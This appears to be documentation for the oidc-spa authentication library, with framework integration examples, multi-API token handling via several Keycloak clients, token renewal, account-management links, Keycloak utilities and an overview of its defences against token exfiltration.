<strong>  @defer (when oidc.prInitialized | async) {
</strong>    &#x3C;!-- Safe to read OIDC values here -->
    @if (oidc.isUserLoggedIn) {
      &#x3C;div>
        &#x3C;span>Hello {{ oidc.$decodedIdToken().name }}&#x3C;/span>
        &#x26;nbsp; &#x3C;button (click)="oidc.logout({ redirectTo: 'home' })">Logout&#x3C;/button>
      &#x3C;/div>
    } @else {
      &#x3C;div>
        &#x3C;button (click)="oidc.login()">Login&#x3C;/button>
        &#x3C;button (click)="
          oidc.login({
            transformUrlBeforeRedirect: keycloakUtils.transformUrlBeforeRedirectForRegister,
          })
        ">
          Register
        &#x3C;/button>
      &#x3C;/div>
    }
<strong>  } @placeholder {
</strong><strong>    &#x3C;span style="line-height: 1.35;">Initializing OIDC...&#x3C;/span>
</strong><strong>  }
</strong>&#x3C;/header>
</code></pre>

Anywhere you read things like `oidc.isUserLoggedIn`, `oidc.$decodedIdToken()`, or values derived from `issuerUri`, put them behind a `@defer (when oidc.prInitialized | async)` (or otherwise guard them) to avoid runtime errors during the brief initialization window.

#### Access helpers lazily to avoid crashes

Because the component can be constructed before OIDC is initialized, compute helpers like `keycloakUtils` **lazily**:

<pre class="language-ts" data-title="src/app/app.ts"><code class="lang-ts">import { Component, inject } from '@angular/core';
import { Oidc } from './services/oidc.service';
import { createKeycloakUtils } from 'oidc-spa/keycloak';

@Component({
  selector: 'app-root',
  templateUrl: './app.html',
  imports: [],
})
export class App {
  oidc = inject(Oidc);

  // Use a getter so we read issuerUri only after init
<strong>  get keycloakUtils() {
</strong><strong>    return createKeycloakUtils({ issuerUri: this.oidc.issuerUri });
</strong><strong>  }
</strong>
  // Example: drive an "Admin only" link state
  get canShowAdminLink(): boolean {
    if (!this.oidc.isUserLoggedIn) return true;
    const roles = this.oidc.$decodedIdToken().realm_access?.roles ?? [];
    return roles.includes('admin');
  }
}
</code></pre>

***

### TL;DR

* **Blocking at bootstrap (default):** `Oidc.provide()` waits for `bootstrapOidc()` before Angular renders. Easiest mental model. No layout shift. Tests and SSR are straightforward.
* **Non-blocking:** set `override providerAwaitsInitialization = false` in your `Oidc` service. Then:
  * Gate auth-aware UI with `@defer (when oidc.prInitialized | async) { ... } @placeholder { ... }`.
  * Access helpers like `keycloakUtils` via a **getter** so you do not touch `issuerUri` before init.
  * Guard overlays or any code that reads OIDC state.
* Choose based on the UX you want. Both modes are supported.

*(In modern browsers, session restoration usually completes in under \~300 ms, so even full gating often feels instant.)*
{% endtab %}

{% tab title="TanStack Start" %}
In TanStack Start, non-blocking rendering is the default, since it's required for server rendering.\
However, if you find the layout shift caused by auth-aware components appearing *after* hydration annoying to handle, you can easily delay rendering your app until the OIDC initialization process has completed:

<pre class="language-tsx" data-title="src/routes/__root.tsx"><code class="lang-tsx">import { HeadContent, Scripts, createRootRoute } from "@tanstack/react-router";
import Header from "@/components/Header";
import { AutoLogoutWarningOverlay } from "@/components/AutoLogoutWarningOverlay";
import appCss from "../styles.css?url";

<strong>import { useOidc } from "@/oidc";
</strong>
export const Route = createRootRoute({
    head: () => ({ /* ... */ }),
    shellComponent: RootDocument
});

function RootDocument({ children }: { children: React.ReactNode }) {
    const { isOidcReady } = useOidc();

    return (
        &#x3C;html lang="en">
            &#x3C;head>
                &#x3C;HeadContent />
            &#x3C;/head>
            &#x3C;body
                className="min-h-screen text-white"
                style={{
                    backgroundColor: "#0f172a",
                    backgroundImage: "linear-gradient(180deg, #0f172a 0%, #1e293b 50%, #0f172a 100%)"
                }}
            >
                &#x3C;div className="min-h-screen flex flex-col">
<strong>                    {isOidcReady &#x26;&#x26; (
</strong><strong>                        &#x3C;>
</strong>                            &#x3C;Header />
                            &#x3C;main className="flex flex-1 flex-col">
                                &#x3C;div className="flex flex-1 flex-col">{children}&#x3C;/div>
                            &#x3C;/main>
<strong>                        &#x3C;/>
</strong><strong>                    )}
</strong>                &#x3C;/div>
                &#x3C;AutoLogoutWarningOverlay />
                &#x3C;Scripts />
            &#x3C;/body>
        &#x3C;/html>
    );
}
</code></pre>

Then, you don't need to test anymore if oidc is ready:

```diff
 function AuthButtons(props: { className?: string }) {
     const { className } = props;
-    const { isOidcReady, isUserLoggedIn } = useOidc();
+    const { isUserLoggedIn } = useOidc({ assert: "ready" });

-    if (!isOidcReady) {
-        return null;
-    }

     return (
         <div className={["opacity-0 animate-[fadeIn_0.2s_ease-in_forwards]", className].join(" ")}>
             {isUserLoggedIn ? <LoggedInAuthButton /> : <NotLoggedInAuthButton />}
         </div>
     );
 }
 
 function Greeting() {
-   const { isOidcReady, isUserLoggedIn, decodedIdToken } = useOidc();
+   const { isOidcReady, isUserLoggedIn, decodedIdToken } = useOidc({ assert: "ready" });

-   if (!isOidcReady) {
-       return <>&nbsp;</>;
-   }

    return (
        <span className="opacity-0 animate-[fadeIn_0.2s_ease-in_forwards]">
            {isUserLoggedIn ? `Welcome back ${decodedIdToken.name}` : `Hello anonymous visitor!`}
        </span>
    );
}
```

{% endtab %}
{% endtabs %}


# Talking to multiple APIs (with different access tokens)

{% hint style="info" %}
TL;DR

Most apps only need one access token for their backend API.

The rest of this page explains how to talk to multiple APIs securely (Keycloak-style) using oidc-spa.
{% endhint %}

With **oidc-spa**, your **frontend application is the OIDC client**. Your **backend** is **only** a resource server that you call by attaching an `Authorization: Bearer <access_token>` header. This is different from models like [Auth.js](https://authjs.dev/), where the server component constitutes the application in the OpenID Connect model.

This setup works well as long as your app talks to a **single** resource server.

In frontend-centric apps, you often need to call **several** APIs (resource servers), for example:

* Your own REST API
* Amazon S3
* HashiCorp Vault
* …

You can proxy those calls through your backend using a service account. That is a valid approach, but many architectures prefer to keep the backend light and stateless, and to concentrate logic in the frontend to lower infra cost and improve responsiveness.

The challenge is that you should **not** reuse a single access token across different APIs. Even if it “works", it is a poor security posture and will usually fail in practice because different APIs will expect different claims in the access token.

### Why a single token is not enough

Access tokens carry **claims** that describe who the user is, who the token is for, and what permissions it grants.

Example:

```json
{
  "aud": "https://api1.example.com",
  "sub": "xxxxxx",
  "groups": ["staff"]
}
```

* `aud` (audience) identifies the **intended resource server**.
* `sub` is the **user identifier**.
* Other claims (such as `groups`, `scope`, or custom claims) express **authorization details**.

Most OAuth-protected APIs require a specific **audience** and expect claims to be **formatted** in a particular way. These expectations often differ between APIs.

### The right approach

Do not send the same access token to every resource server. Instead, configure your IdP so the client can obtain **distinct access tokens** for each target API, each token crafted exactly as that API expects.

#### Ideal world: Resource Indicators (RFC 8707)

In the ideal case, oidc-spa would support:

```ts
getAccessToken({ resource: "https://api1.example.com" })
```

Your IdP would let you declare APIs independently and authorize which OIDC clients can request tokens for each API. Some providers like Auth0 or Microsoft EntraID support this pattern but keycloak do not and since it's the de facto standard OpenID Connect server, we intentionally align with Keycloak’s capabilities. We therefore do not support features that Keycloak does not support as of today. This avoids exposing APIs that would not work for most deployments.

#### Today with Keycloak

Keycloak [does **not** yet implement RFC 8707](https://github.com/keycloak/keycloak/discussions/35743). In Keycloak’s interpretation, when you declare an OIDC client you effectively couple **an application** with **a resource server**. To talk to multiple resource servers, you declare **multiple clients** in the same realm, all sharing your app’s **Valid Redirect URI**.

Example:

* `clientId: "myapp"`, valid redirect URI: `https://myapp.my-company.com/`
* `clientId: "myapp-vault"`, valid redirect URI: `https://myapp.my-company.com/`
* `clientId: "myapp-s3"`, valid redirect URI: `https://myapp.my-company.com/`

For each client, configure **protocol mappers** so the issued access token matches the target API’s expectations.

This limitation means that even if your IdP (Auth0, Clerk...) supports declaring APIs independently, you will still set things up this way to work with oidc-spa today.

### Using multiple clients in oidc-spa

Once your clients exist, instantiate them side by side. oidc-spa fully supports **multi-client** usage.

Below is an example “My Secrets” page that exchanges an OIDC access token for a **Vault token** and then fetches the caller’s secrets. The example uses React, but the important parts use `oidc-spa/core`, so you can adapt it to your framework of choice.

{% code title="src/oidc.ts" %}

```typescript
import { oidcSpa } from "oidc-spa/react-spa";

export const { bootstrapOidc, useOidc, getOidc, enforceLogin } = oidcSpa.createUtils();

bootstrapOidc({
  implementation: "real",
  issuerUri: "https://auth.my-company.com/realms/myrealm",
  clientId: "myapp",
  // sessionRestorationMethod: "iframe" // See note below
});
```

{% endcode %}

{% code title="app/routes/my-secrets.tsx" %}

```tsx
import { getOidc, enforceLogin } from "~/oidc";
// Use the core API directly because we do not need framework helpers
// only to request an access token.
import { createOidc } from "oidc-spa/core";

let cache: { oidcAccessToken_vault: string; vaultToken: string } | undefined;

export async function clientLoader(params: Route.ClientLoaderArgs) {
  // Ensure the user session is already established with the IdP.
  await enforceLogin(params);

  // Initialize the Vault-specific OIDC client.
  // Instances are memoized per issuer/client pair.
  const { getTokens: getOidcTokens_vault } = await createOidc({
    issuerUri: (await getOidc()).issuerUri, // reuse the same realm
    clientId: "myapp-vault",                // dedicated client for Vault
    autoLogin: true,                        // silent login through shared realm session
    disabledDPoP: true,                     // DPoP only apply when using Authorization header
                                            // here we're going to exchange the access token
                                            // for a Vault token in a non OAuth way.
    // sessionRestorationMethod: "iframe"
  });

  // Retrieve the access token issued for the Vault client.
  const { accessToken: oidcAccessToken_vault } = await getOidcTokens_vault();

  const vaultBaseUrl = "https://vault.example.com";

  // Exchange the OIDC access token for a Vault token.
  const vaultToken = await (async () => {
    if (cache?.oidcAccessToken_vault === oidcAccessToken_vault) {
      return cache.vaultToken;
    }

    const vaultToken = await fetch(`${vaultBaseUrl}/v1/auth/jwt/login`, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        role: "web-app",
        jwt: oidcAccessToken_vault
      })
    })
      .then(r => r.json())
      .then(o => o.auth.client_token as string);

    cache = { oidcAccessToken_vault, vaultToken };
    return vaultToken;
  })();

  // Fetch the caller’s secret values using the Vault token.
  const userSecrets = await fetch(`${vaultBaseUrl}/v1/secret/data/users/me`, {
    headers: { "X-Vault-Token": vaultToken }
  })
    .then(r => r.json())
    .then(o => o.data.data as Record<string, string>);

  return { userSecrets };
}

export default function MySecrets() {
  const { userSecrets } = useLoaderData<typeof clientLoader>();

  return (
    <dl>
      {Object.entries(userSecrets).map(([key, value]) => (
        <div key={key} className="space-y-1">
          <dt>{key}</dt>
          <dd>{value}</dd>
        </div>
      ))}
    </dl>
  );
}
```

{% endcode %}

That is all you need for multi-API access with per-API tokens.

### Development and security caveats

The first time you call `createOidc()` you may get a **full page redirect** if silent session restoration via iframe is not available. This is the default on `localhost` in oidc-spa.

Also note that, if you configure more than one client **AND** iframe session restoration is not possible, oidc-spa will **persist tokens in `sessionStorage`** to avoid redirect loops. This relaxes the default security guarantees.

To remediate:

* (For production) Put your IdP authorization endpoint on the **same parent domain** as your app whenever possible.
* For a better dev experience allow third-party cookies in your local server and explicitely set `sessionRestorationMethod: "iframe"`, by default it's set to `"auto"` mening that it will only use iframe if it knows that cookies won't be blocked, and oidc-spa can't know that in localhost.

<figure><img src="/files/2zDb1i9ZRL937X9plzTf" alt="" width="348"><figcaption></figcaption></figure>

More info and detailed instructions:

{% content-ref url="/pages/PEVVAcvpgrhNHpuD5ykF" %}
[Third‑party cookies and session restoration](/resources/third-party-cookies-and-session-restoration)
{% endcontent-ref %}


# Tokens Renewal

Many OpenID Connect adapters, end up implementing token renewal with a background refresh loop.\
That approach often creates avoidable load and some tricky edge cases.\
With `oidc-spa`, token lifecycle management is handled for you and stays out of your app code.

***

**The Problem With Access Token Refresh Loops**

Access tokens are meant to be **short-lived** (typically \~5 minutes, but sometimes as little as 20 seconds for high-security apps).\
Many adapters try to **keep an access token “always fresh” in cache**, which leads to:

* Constant background refreshes
* Heavy load on your auth server
* Agravated load when mutiple tabs are open on your app.

This isn’t needed. You don’t need a valid access token cached at all times.

***

**The Better Approach (What `oidc-spa` Does)**

Whenever you need to make an authenticated request, just **ask `oidc-spa` for a token**:

```ts
const oidc = await getOidc();

if (!oidc.isUserLoggedIn) {
    throw Error("Logical error in our application flow");
}

const { accessToken } = await oidc.getTokens();
headers.set("Authorization", `Bearer ${accessToken}`);
```

* If a valid token is cached, you’ll get it.
* If it’s expired or soon to expire, `oidc-spa` silently refreshes it using the refresh token.

Example: [interceptor pattern](https://github.com/InseeFrLab/onyxia/blob/2f7bad234099719debc15ecdaba30dba116ffef9/web/src/core/adapters/onyxiaApi/onyxiaApi.ts#L34-L84)\
Example: [custom fetch](https://github.com/keycloakify/oidc-spa/blob/a1aae19e2b5a874159fbdfecaaf00be814bb4c6a/examples/tanstack-router-file-based/src/oidc.tsx#L64-L76)

**But what about session expiration?**

Behind the scenes, `oidc-spa` ensures the session **never expires prematurely** by refreshing **at least once before the refresh token itself expires**.\
This prevents the backend from destroying the session simply because the user wasn’t making authenticated requests (e.g., they’re filling out a form or browsing content).

At the same time, `oidc-spa` tracks **actual user activity** (keyboard, mouse, touch). If the user is truly idle beyond the refresh token lifespan, they’re logged out as expected.

***

**Why `oidc-spa` Still Exposes `renewTokens()`**

There are two legitimate edge cases:

1. **After custom requests**: If you make a request to your OIDC server that changes claims in the `id_token` or `access_token`, call `renewTokens()` to ensure you have the latest values. (This is a rare use case. It usually happens when user info is updated outside your app. If you’re not sure, you can generally assume you don’t need this.)
2. Getting a freshly issued token: If at one point in time, you want to be sure that you have a freshly issued token with it's maximum lifetime you might want to call renewTokens() before you call getTokens()
3. **Custom token parameters**: If your OIDC server supports extra token endpoint params, you can trigger a refresh with them. (`extraTokenParams` is also available at `createOidc()` time.)

Outside of these rare cases, you never need to call `renewTokens()` manually.

{% tabs %}
{% tab title="Vanilla API" %}

```typescript
import { createOidc } from "oidc-spa/core";

const prOidc = await createOidc({ ... });

// Function to call when we want to renew the token
export function renewTokens(){

   const oidc = await prOidc;
   
   if( !oidc.isUserLoggedIn ){
      throw new Error("Logical error");
   }
   
   oidc.renewTokens(
      // Optionally you can pass extra params that will be added 
      // to the body of the POST request to the openid-connect/token endpoint.
      // { extraTokenParams: { electedCustomer: "customer123" } }
      // This parameter can also be provided as parameter to the createOidc
      // function. See: https://github.com/keycloakify/oidc-spa/blob/59b8db7db0b47c84e8f383a86677e88e884887cb/src/oidc.ts#L153-L163
   );

}

// Subscribing to token renewal

prOidc.then(oidc => {
    if( !oidc.isUserLoggedIn ){
        return;
    }
    
    const { 
       unsubscribeFromTokensChange 
    } = oidc.subscribeToTokensChange(tokens => {
       console.log("Token Renewed", tokens);
    });
    
    setTimeout(() => {
        // Call unsubscribe when you want to stop watching tokens change
        unsubscribeFromTokensChange();
    }, 10_000);
});
```

{% endtab %}

{% tab title="React API" %}
Outside of a React Component:

```typescript
import { getOidc } from "~/oidc";

// Function to call when we want to renew the token
export function renewTokens(){

   const oidc = await getOidc({ assert: "user logged in" });
   
   oidc.renewTokens(
      // Optionally you can pass extra params that will be added 
      // to the body of the POST request to the openid-connect/token endpoint.
      // { extraTokenParams: { electedCustomer: "customer123" } }
      // This parameter can also be provided as parameter to the createOidc
      // function. See: https://github.com/keycloakify/oidc-spa/blob/59b8db7db0b47c84e8f383a86677e88e884887cb/src/oidc.ts#L153-L163
   );

}

// Subscribing to token renewal

getOidc().then(oidc => {
    if( !oidc.isUserLoggedIn ){
        return;
    }
    
    const { 
       unsubscribeFromAccessTokenRotation 
    } = oidc.subscribeToAccessTokenRotation(accessToken => {
       console.log("Access Token Rotated!", accessToken);
    });
    
    const {
         unsubscribeFromDecodedIdTokenChange
     } = oidc.subscribeToDecodedIdTokenChange(decodedIdToken => {
         console.log(`Decoded id token change`, decodedIdToken);
     });
    
    
    setTimeout(() => {
        // Call unsubscribe when you want to stop watching tokens change
        unsubscribeFromAccessTokenRotation();
        unsubscribeFromDecodedIdTokenChange();
    }, 10_000);
});
```

```tsx
import { useState, useEffect } from "react";
import { assert } from "tsafe/assert";
import { useOidc, getOidc } from "~/oidc";

export function MyComponent() {
    const { renewTokens } = useOidc({ assert: "user logged in" });
    return (
        <>
            <button onClick={() => renewTokens()}>Rotate tokens</button>
        </>
    );
}
```

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.ts" %}

```angular-ts
@Component({
  selector: 'app-root',
  templateUrl: './app.html',
})
export class App {
  oidc = inject(Oidc);

  constructor(){

    // Subscribing to token rotation: 
    this.oidc.accessTokenRotation$.subscribe(accessToken => {
      console.log(`Access Token Rotation: ${accessToken}`);
    });

    // Triggering token rotation manually
    setTimeout(()=> {

      this.oidc.renewTokens(/* ... optionally some params */);

    }, 10_000);

  }

}
```

{% endcode %}
{% endtab %}
{% endtabs %}


# User Account Management

## Redirecting to your IdP's account managment page

<figure><img src="/files/Kvq6smM4WpCwPa59j4id" alt=""><figcaption></figcaption></figure>

IdP always provide a user account page that let users, update their password, account information, manage their session.\
If you are using Keycloak you can generate the link to the Account Console with:

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
import { createKeycloakUtils } from "oidc-spa/keycloak";

const keycloakUtils = createKeycloakUtils({ issuerUri: oidc.issuerUri });

const accountLinkUrl = keycloakUtils.getAccountUrl({
    clientId: oidc.clientId,
    validRedirectUri: oidc.validRedirectUri,
    locale: "en" // Optional
});
```

{% endtab %}

{% tab title="React" %}

```typescript
const { issuerUri, clientId, validRedirectUri } = useOidc();

const keycloakUtils = createKeycloakUtils({ issuerUri });

const accountLinkUrl = keycloakUtils.getAccountUrl({
    clientId,
    validRedirectUri,
    locale: "en" // Optional
});
```

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.ts" %}

```typescript
import { Oidc } from './services/oidc.service';

@Component({
  selector: 'app-root',
  templateUrl: './app.html',
})
export class App {
  oidc = inject(Oidc);
  keycloakUtils = createKeycloakUtils({
    issuerUri: this.oidc.issuerUri,
  });

  accountUrl = this.keycloakUtils.getAccountUrl({
    clientId: this.oidc.clientId,
    validRedirectUri: this.oidc.validRedirectUri,
    locale: "en" // Optional
  })
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Direct Link to Specific Actions

{% hint style="info" %}
In this section we assume you are using Keycloak. If you are using another authentication server you'll have to addapt the `queryParameter` provided.
{% endhint %}

<figure><img src="/files/LNme0PZV9Ly7ZrSaGtMB" alt=""><figcaption></figcaption></figure>

There is thee main actions:

* **UPDATE\_PASSWORD**: Enables the user to change their password.
* **UPDATE\_PROFILE**: Enable the user to edit teir account information such as first name, last name, email, and any additional user profile attribute that you might have configured on your Keycloak server.
* **delete\_account**: (In lower case): This enables the user to delete he's account. You must enable it manually on your Keycloak server Admin console. See [Keycloak Configuration Guide](/providers-configuration/keycloak).

Let's, as an example, how you would implement an update password button:

{% tabs %}
{% tab title="Vanilla API" %}

```typescript
import { createOidc } from "oidc-spa";
import { parseKeycloakIssuerUri } from "oidc-spa/tools/parseKeycloakIssuerUri";

const oidc = await createOidc({ ... });

if( oidc.isUserLoggedIn ){

   // Function to invoke when the user click on your "change my password" button.
   const updatePassword = ()=>
      oidc.goToAuthServer({
         extraQueryParams: { 
             kc_action: "UPDATE_PASSWORD" 
         }
      });
   // NOTE: This is optional, it enables you to display a feedback message
   // when the user is redirected back to your application after completing
   // or canceling the action.
   if( 
      oidc.backFromAuthServer?.extraQueryParams["kc_action"] === "UPDATE_PASSWORD"
   ){
      switch(oidc.backFromAuthServer.result["kc_action_status"]){
          case "canceled": 
             alert("You password was not updated");
             break;
          case "success":
             alert("Your password has been updated successfuly");
             break;
      }
   }
}

// Url for redirecting users to the keycloak account console.
const keycloakAccountUrl = parseKeycloakIssuerUri(oidc.params.issuerUri)
   .getAccountUrl({ 
       clientId: params.clientId,
       backToAppFromAccountUrl: `${location.href}${import.meta.env.BASE_URL}`
    });
        
```

{% endtab %}

{% tab title="React" %}

```tsx
import { useOidc } from "@/oidc";

function ProtectedPage() {
    // Here we can safely assume that the user is logged in.
    const { goToAuthServer, backFromAuthServer, params } = useOidc({ assert: "user logged in" });
    
    return (
        <>
            <button
                onClick={() =>
                    goToAuthServer({
                        extraQueryParams: { kc_action: "UPDATE_PASSWORD" }
                    })
                }
            >
                Change password
            </button>
            {/* 
            Optionally you can display a feedback message to the user when they
            are redirected back to the app after completing or canceling the
            action.
            */}
            {backFromAuthServer?.extraQueryParams["kc_action"] === "UPDATE_PASSWORD" && (
                <p>
                    {(()=>{
                        switch(backFromAuthServer.result["kc_action_status"]){
                            case "success":
                                return "Password successfully updated";
                            case "cancelled":
                                return "Password unchanged";
                        }
                    })()}
                </p>
            )}
        </>
    );
}

```

{% endtab %}

{% tab title="Angular" %}

```typescript
updatePassword = ()=> this.oidc.goToAuthServer({
    extraQueryParams: { kc_action: "UPDATE_PASSWORD" }
});
```

```angular-html
@if( oidc.backFromAuthServer?.extraQueryParams["kc_action"] === "UPDATE_PASSWORD" ){          
@if ( oidc.backFromAuthServer.result["kc_action_status"] === "success" ){
<p>Password successfully updated</p>
} @else {
<P>Password unchanged</p>
}
}
```

{% endtab %}
{% endtabs %}


# User Session Initialization

In some cases, you might want to perform some actions when the user login to your app.

It might be clearing some storage values, or calling a specific API endpoint.\
If this action is costly. You might want to avoid doing it over and over again each time the user refresh the page.

{% tabs %}
{% tab title="Vanilla API" %}

```typescript
import { createOidc } from "oidc-spa";

const oidc = await createOidc({ /* ... */ });

if (oidc.isUserLoggedIn) {
  if( oidc.isNewBrowerSession ){
     // This is a new visit of the user on your app
     // or the user signed out and signed in again with
     // an other identity.
     
     await api.onboard(); // (Example)
  }else{
     // It was just a page refresh (Ctrl+R)
  }
}
```

{% endtab %}

{% tab title="React API" %}
{% code title="src/oidc.ts" %}

```typescript
import { createReactOidc } from "oidc-spa/react";

export const {
    /* ... */
    getOidc
} = createReactOidc({ /* ... */ });

getOidc().then(oidc => {
  
  if( oidc.isNewBrowerSession ){
     // This is a new visit of the user on your app
     // or the user signed out and signed in again with
     // an other identity.
     
     await api.onboard(); // (Example)
  }else{
     // It was just a page refresh (Ctrl+R)
  }

});
```

{% endcode %}

You can also do this in your React component (although it's maybe not the best approach)

```tsx
import { useOidc } from "./oidc";
import { useEffect } from "react";

function MyComponent(){

    const { isUserLoggedIn, isNewBrowserSession, backFromAuthServer } = useOidc();
    
    useEffect(()=> {
    
        if( oidc.isNewBrowerSession ){
           // This is a new visit of the user on your app
           // or the user signed out and signed in again with
           // an other identity.
           
           api.onboard(); // (Example)
        }else{
           // It was just a page refresh (Ctrl+R)
        }
    
    }, []);
```

{% endtab %}
{% endtabs %}


# Keycloak Utils

oidc-spa is provider agnostic.\
You won’t find any Keycloak-only logic in the core package.

If you *are* using Keycloak, `oidc-spa/keycloak` exposes small utilities to leverage Keycloak-specific URLs and endpoints.

{% hint style="info" %}
These utilities are **pure** (no side effects) and only need your `issuerUri`.\
`createKeycloakUtils()` is memoized, so it’s safe to call often.
{% endhint %}

### Import

```typescript
import { createKeycloakUtils, isKeycloak } from "oidc-spa/keycloak";
```

### Optional runtime check: is this issuer Keycloak?

Useful when your app can run against multiple providers.

```typescript
const oidc = await getOidc(); // or useOidc() or inject(Oidc)

if (!isKeycloak({ issuerUri: oidc.issuerUri })) {
    console.log("The authorization server is not a Keycloak instance");
    return;
}
```

### Create the utils object

```typescript
const keycloakUtils = createKeycloakUtils({ issuerUri: oidc.issuerUri });
```

### Common use cases

#### Redirect to the registration page (instead of login)

```typescript
oidc.login({
    doesCurrentHrefRequiresAuth: false,
    transformUrlBeforeRedirect: keycloakUtils.transformUrlBeforeRedirectForRegister
});
```

#### Link to the Keycloak Account Console

Users can update their profile, password, MFA, sessions, etc.

```typescript
const accountUrl = keycloakUtils.getAccountUrl({
    clientId: oidc.clientId,
    validRedirectUri: oidc.validRedirectUri,
    locale: "en" // Optional
});
```

See: [User Account Management](/features/user-account-management#redirecting-to-your-idps-account-managment-page)

#### Fetch the Keycloak user profile (Keycloak-internal endpoint)

This is richer than the decoded ID token.\
Equivalent of `keycloak-js` `.loadUserProfile()`.

```typescript
const accessToken = await oidc.getAccessToken(); // or (await oidc.getTokens()).accessToken

const userProfile = await keycloakUtils.fetchUserProfile({ accessToken });

userProfile.id;
userProfile.username;
userProfile.attributes;
```

#### Fetch user info (OIDC `userinfo` endpoint)

Equivalent of `keycloak-js` `.loadUserInfo()`.

```typescript
const accessToken = await oidc.getAccessToken(); // or (await oidc.getTokens()).accessToken

const userInfo = await keycloakUtils.fetchUserInfo({ accessToken });
userInfo.sub;
```

The userInfo object is similarly shaped as what you get if you decode the payload of the access token (which you shouldn't do on the client, see: [JWT Of the Access Token](/resources/jwt-of-the-access-token))

```typescript
import { decodeJwt } from "oidc-spa/decode-jwt";
const decodedAccessToken = decodeJwt(accessToken);
```

#### Admin Console URLs

Only show these links to privileged users (for example `realm-admin`).

```typescript
keycloakUtils.adminConsoleUrl; // Admin console for the current realm
keycloakUtils.adminConsoleUrl_master; // Admin console for the "master" realm
```

### Parse the issuer URI

```typescript
const { issuerUriParsed } = keycloakUtils;

// Example issuerUri:
// "https://auth.my-company.com/realms/myrealm"
issuerUriParsed.origin; // "https://auth.my-company.com"
issuerUriParsed.realm; // "myrealm"
issuerUriParsed.kcHttpRelativePath; // undefined or "/auth" if the issuer uri was "https://auth.my-company.com/auth/realms/myrealm"
```


# Overview

How oidc-spa mitigates the risks of token exposure

oidc-spa implements a comprehensive, defense-in-depth strategy to protect against token exfiltration during a successful XSS or supply-chain attack.

## Enabling the defences

With oidc-spa, all current best practices are implemented out of the box:

* **No persistence**: tokens live in memory only. Sessions are restored by contacting the Authorization server on every app reload.
* PKCE is always required and can't be disabled.
* Single, non-dynamic [valid redirect URI](#user-content-fn-1)[^1]. (As opposed to keycloak-js, which requires configuring a redirect URI with a wildcard, like <https://dashboard.my-app.com/\\>\*)

In addition to these baseline defences, oidc-spa offers three **opt-in** defences that drastically improve the security profile of your application.

<table data-view="cards"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/OQPfLaz21wcSz22qMpf2">/pages/OQPfLaz21wcSz22qMpf2</a></td></tr><tr><td><a href="/pages/AkX224WAW7UAYAoUymBd">/pages/AkX224WAW7UAYAoUymBd</a></td></tr><tr><td><a href="/pages/zmd4gn3akUmtOPPYQAXq">/pages/zmd4gn3akUmtOPPYQAXq</a></td></tr></tbody></table>

## Understanding the Security Guarantees (and Their Limits)

The objective of those defences is to achieve, **in a purely client-side token exchange**, a level of token safety comparable to traditional backend-based authentication (session cookies).\
The concerns that those oidc-spa defences address are described in this talk:

{% embed url="<https://youtu.be/MpPd0WnEG5s?si=ZwlZujfmYboSMlE-&t=779>" %}

With oidc-spa's defences enabled, an attacker cannot read or request valid tokens.

⸻

### Supply-Chain Attacks

If an NPM dependency is compromised, the damage remains extremely limited:

* With [DPoP](/security-features/dpop), if a token gets exfiltrated, it's harmless outside of the call site. With [Token Substitution](/security-features/token-substitution), the tokens are, in theory, not exfiltrable.
* This blocks the most common and impactful class of supply-chain attacks
* Most real-world supply-chain malware is opportunistic, not targeted

An attacker could theoretically act on behalf of the user during the active compromise, but:

* This requires a targeted attack specifically against your build
* This is realistic only for massive, high-value open-source systems
* Even then, oidc-spa makes it very difficult

Why? Because unlike session-cookie auth, where any `fetch()` automatically includes credentials, here the attacker must obtain a reference to your `fetchWithAuth()` or `getOidc()` functions.

These functions usually live inside hashed static assets (example: `assets/KcAdminUi-BV3D797K.js`). The hash will likely differ between the moment the attacker crafts the exploit and the moment the compromised dependency lands in your build.

Additionally, oidc-spa makes a best-effort attempt to make discovery of the module graph harder.

Bottom line: For supply-chain attacks, oidc-spa arguably offers stronger protection than traditional session cookies.

⸻

### XSS Attacks

XSS remains dangerous. oidc-spa protects against token exfiltration, but an attacker who knows everything about your build can still manage to act on behalf of the user while the attack is going on.

They can import your `fetchWithAuth()` implementation (exposed somewhere in the hashed JS assets) and perform any action the current user is allowed to perform.

Note that apps that implement traditional, backend-driven, session-cookie auth are just as vulnerable to XSS. It's even easier for the attacker since they don't even have to find the `fetchWithAuth` reference in the module graph; they can call the API with a simple `fetch()`, and the session cookie will be automatically attached.

The good news is that XSS can be very effectively blocked with strict Content-Security-Policy (CSP). And you should absolutely enable one.

Here you can find an example of a canonical, very strict CSP that ensures that only code that you own can run in your app:

[CSP Configuration](/resources/csp-configuration#canonical-nginx-configuration)

⸻

### Compromised Browser Extensions

If a user installs a malicious browser extension, it can inspect outgoing network traffic and see the real tokens.

Here's where [DPoP](/security-features/dpop) shines. It makes it so that the access token alone is not enough to mint new requests, and prevents outgoing captured requests from being replayed.

However, [DPoP](/security-features/dpop) is not an absolute protection since a malicious browser extension could theoretically manage to execute some code before oidc-spa's early init had the chance to ensure runtime integrity. This would, however, be very hard to pull off in practice. oidc-spa will block classical attack vectors.

Bottom line: oidc-spa makes it much, much harder for a compromised browser extension to successfully mint and exfiltrate usable tokens than any other client-side OIDC implementation. And in any case, such an attack would only affect the user with the compromised extension.

⸻

## How oidc-spa Achieves This (In a Nutshell)

The entire strategy relies on the fact that, thanks to the Vite plugin or `oidcSpaEarlyInit`, oidc-spa [gets a guaranteed window of execution before any other JavaScript runs](#user-content-fn-2)[^2].

During that window, it can:

* Harden the environment by preventing monkey-patching of fetch, XHR, WebSocket, Promise, String, and other critical built-ins
* Safely extract the authorization response from the URL and store it in memory
* Register a message listener that cannot be unregistered, ensuring silent-signin integrity
* Enforce restrictions on service worker registration
* And with DPoP and/or Token Substitution you're guaranteed either that a leaked token is harmless ([DPoP](/security-features/dpop)) or that a token cannot be leaked ([Token Substitution](/security-features/token-substitution)).

[^1]: Also referred to as "oidc callback uri"

[^2]: ...Unless you've opted to call oidcEarlyInit() in the oidc.ts file.


# Browser Runtime Freeze

Ensuring the integrity of the browser runtime environment.

This is the most important security defense. It’s a prerequisite for the other measures to be effective.

It ensures the integrity of the browser environment. This blocks attackers from altering core JavaScript behavior to exfiltrate tokens.

## Enabling the defense

{% tabs %}
{% tab title="Vite Plugin" %}

